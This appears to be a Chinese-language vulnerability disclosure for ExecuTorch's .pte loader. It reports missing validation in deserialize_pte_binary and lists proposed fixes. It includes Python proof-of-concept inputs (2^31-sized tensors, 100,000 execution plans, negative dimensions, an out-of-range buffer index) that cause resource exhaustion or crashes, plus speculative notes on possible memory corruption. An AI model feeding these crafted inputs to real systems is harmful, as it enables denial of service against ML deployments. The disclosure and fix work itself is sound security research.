YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ExecuTorch .pte Format — 文件格式验证缺失导致拒绝服务
概述
项目: executorch (PyTorch Edge Runtime)
版本: 1.2.0+cpu
格式: .pte (Program Transfer Executable, FlatBuffers 二进制)
CVSS 3.1: 5.5 (Medium) — AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CWE: CWE-20 (Improper Input Validation), CWE-400 (Uncontrolled Resource Consumption)
漏洞摘要
| # | 漏洞 | 严重程度 | PoC 结果 |
|---|---|---|---|
| 1 | Tensor 维度无上界检查 | Medium | [2^31-1, 2^31-1] 和 10000 维 tensor 被接受 |
| 2 | 列表字段无数目限制 | Medium | 100,000 个 execution plan 被接受,6.55s 解析时间 |
| 3 | 负数/零维 tensor 不拒绝 | Low | [-100] 和 [0] 维度通过验证 |
| 4 | Buffer 索引越界引用 | Medium | data_buffer_idx=999 但仅 0 个 buffer 存在 |
| 5 | Segment 偏移无验证 | Medium | offset=-1 和 size=999999999 被接受 |
| 6 | deserialize_pte_binary() 零结构验证 |
Medium | 直接从二进制 → flatc → JSON → 对象,无任何安检 |
技术分析
1. 加载管道完全无验证
deserialize_pte_binary() 的完整调用链:
.pte binary → flatc subprocess (JSON decompile) → json.loads()
→ _json_to_dataclass() → Program dataclass
没有任何一个环节执行结构安全性检查:
flatc仅检查 FlatBuffer 格式正确性(file_identifier "ET12"),不检查模型语义json.loads()仅解析 JSON,不验证内容_json_to_dataclass()递归构造数据类,无边界检查verifier.py仅检查图级别语义(算子合法性、tensor 连续性),且默认不启用
2. Tensor 维度无上界(schema.py:66)
@dataclass
class Tensor:
scalar_type: ScalarType
storage_offset: int
sizes: List[int] # ← 无上限!可以是任意整数值
dim_order: List[int] # ← 无数目限制!可以是 10000 维
...
对比 ONNX 的 check_model() 会验证 shape 合理性,ExecuTorch 直接接受 sizes=[2147483647, 2147483647](4.6 exa-elements)而只有 1 byte 的实际存储。
3. 列表字段无条目数限制
@dataclass
class Program:
execution_plan: List[ExecutionPlan] # ← 可以是 100,000 个
...
@dataclass
class ExecutionPlan:
values: List[EValue] # ← 无限制
chains: List[Chain] # ← 无限制
operators: List[Operator] # ← 无限制
delegates: List[BackendDelegate] # ← 无限制
100,000 个 execution plan 的 JSON 仅 20.6 MB,但解析后产生海量 Python 对象,可导致 OOM。
4. 关键代码路径
deserialize_pte_binary (_serialize/_program.py:747-770):
def deserialize_pte_binary(program_data: bytes) -> PTEFile:
# 无magic检查,无大小限制,无完整性验证
program: Program = _json_to_program(
_program_flatbuffer_to_json(program_data[:program_size])
)
...
_json_to_dataclass (_serialize/_dataclass.py:60-145):
def _json_to_dataclass(json_dict, cls=None):
# 递归处理,无深度限制
# List字段无条目数限制
# int字段无取值范围检查
for field in cls_flds:
...
if get_origin(T) is list:
data[key] = [_json_to_dataclass(e, T) for e in value]
5. 与其他 ML 格式对比
| 特性 | ONNX | TF SavedModel | Core ML | OpenVINO | ExecuTorch |
|---|---|---|---|---|---|
| Shape 上界检查 | ✅ check_model | ✅ | ❌ | ❌ (C++ 有) | ❌ |
| 维度 > 0 验证 | ✅ | ✅ | ❌ | ❌ | ❌ |
| 列表计数限制 | ✅ | ✅ | ❌ | ❌ | ❌ |
| Buffer 索引验证 | ✅ | ✅ | ❌ | ✅ | ❌ |
| 加载前结构验证 | ✅ | ✅ | ❌ | ❌ | ❌ |
| 独立 check_model | ✅ | N/A | ❌ | ❌ | ❌ |
复现过程
PoC 1: 极端 Tensor 维度导致内存耗尽
from executorch.exir._serialize._program import _json_to_program
import json
crafted_json = json.dumps({
"version": 1,
"execution_plan": [{
"name": "forward",
"container_meta_type": {"encoded_inp_str": "", "encoded_out_str": ""},
"values": [{
"val": {
"scalar_type": "FLOAT",
"storage_offset": 0,
"sizes": [2147483647, 2147483647], # 4.6 exa-elements
"dim_order": [0, 1],
"requires_grad": False,
"layout": 0,
"data_buffer_idx": 0,
"allocation_info": None,
"shape_dynamism": "STATIC"
},
"val_type": "Tensor"
}],
"inputs": [], "outputs": [], "chains": [],
"operators": [], "delegates": [],
"non_const_buffer_sizes": [0]
}],
"constant_buffer": [{"storage": [0]}], # 仅 1 byte
"backend_delegate_data": [],
"segments": [],
"constant_segment": {"segment_index": 0, "offsets": []}
})
program = _json_to_program(crafted_json.encode("utf-8"))
# ✅ 成功!无错误!
print(program.execution_plan[0].values[0].val.sizes)
# [2147483647, 2147483647]
PoC 2: 海量列表导致 OOM
N = 100000
crafted_json = json.dumps({
"version": 1,
"execution_plan": [
{"name": f"plan_{i}", ...}
for i in range(N) # 100,000 个 plan
],
...
})
program = _json_to_program(crafted_json.encode("utf-8"))
# ✅ 成功!解析耗时 6.55s
PoC 3: 负数维度
"sizes": [-1] # ✅ 被接受
"sizes": [-100] # ✅ 被接受
"sizes": [0] # ✅ 被接受
PoC 4: Buffer 索引越界
"data_buffer_idx": 999 # 只有 0 个 buffer
# ✅ 被接受!运行时崩溃
修复建议
1. 添加维度边界检查(_dataclass.py 或 _program.py)
MAX_TENSOR_DIM_VALUE = 2**31 - 1 # 合理的上界
MAX_TENSOR_DIM_COUNT = 32 # 最大维度数
MAX_TOTAL_ELEMENTS = 2**48 # ~256T elements 上界
def _validate_tensor_dims(sizes: List[int]) -> None:
if len(sizes) > MAX_TENSOR_DIM_COUNT:
raise ValueError(f"Tensor dimension count {len(sizes)} exceeds {MAX_TENSOR_DIM_COUNT}")
for i, s in enumerate(sizes):
if s <= 0:
raise ValueError(f"Tensor dimension {i} is {s}, must be > 0")
if s > MAX_TENSOR_DIM_VALUE:
raise ValueError(f"Tensor dimension {i} value {s} exceeds {MAX_TENSOR_DIM_VALUE}")
def _validate_tensor_buffer_index(tensor, num_buffers):
if tensor.data_buffer_idx >= num_buffers:
raise ValueError(
f"Tensor references buffer {tensor.data_buffer_idx} "
f"but only {num_buffers} buffers exist"
)
2. 限制列表条目数
MAX_EXECUTION_PLANS = 1024
MAX_VALUES = 2**20
MAX_CHAINS = 1024
MAX_OPERATORS = 2**16
MAX_DELEGATES = 256
def _validate_program_limits(program: Program) -> None:
if len(program.execution_plan) > MAX_EXECUTION_PLANS:
raise ValueError(f"Too many execution plans: {len(program.execution_plan)}")
for plan in program.execution_plan:
if len(plan.values) > MAX_VALUES:
raise ValueError(f"Too many values: {len(plan.values)}")
# ...
3. 添加 check_model() 等价函数
def check_pte(program: Program) -> None:
"""Validate structural integrity of a deserialized .pte program."""
_validate_program_limits(program)
num_buffers = len(program.constant_buffer)
for plan in program.execution_plan:
for evalue in plan.values:
if isinstance(evalue.val, Tensor):
_validate_tensor_dims(evalue.val.sizes)
_validate_tensor_buffer_index(evalue.val, num_buffers)
for i, seg in enumerate(program.segments):
if seg.offset < 0:
raise ValueError(f"Segment {i} has negative offset {seg.offset}")
4. 在 deserialize_pte_binary() 中集成验证
def deserialize_pte_binary(program_data: bytes) -> PTEFile:
# ... existing parsing code ...
program = _json_to_program(...)
check_pte(program) # ← 添加此行
# ... restore segments ...
想法(发散思维)
越界 buffer 索引 → C++ 运行时崩溃 → 潜在 UAF/越界读写:
data_buffer_idx=999被 Python 层接受,如果 C++ 运行时信任此索引直接访问数组,可能导致内存损坏极端维度 × 运行时编译:C++ 运行时
compile_model()会根据 tensor 维度分配内存。如果 Python 层不验证,恶意的 2^31 维度会传递到 C++ 层导致 malloc 失败或整数溢出flatc 版本依赖性:executorch 打包了自己的
flatc二进制(executorch/data/bin/flatc),如果版本过旧可能包含已知漏洞Schema 版本升级绕过:
schema_check.py管理 schema 版本兼容性,但版本检查仅用于检测 schema 变更,不作为安全验证。攻击者可以声明任意 SCHEMA_VERSIONFlatBuffer
force_align操纵:_patch_schema_alignment()修改对齐值,如果攻击者控制 alignment 值可能导致段偏移计算错误与 ONNX/OpenVINO 漏洞的共性:所有 ML 格式的 Python 前端都缺乏结构验证,说明这是一个行业性盲区——开发者依赖底层序列化格式(Protobuf/FlatBuffers)的安全性,但忽略了模型语义层面的恶意构造
文件清单
poc_executorch_bypass.py— 7 个 PoC 的完整测试脚本README.md— 本文件
- Downloads last month
- -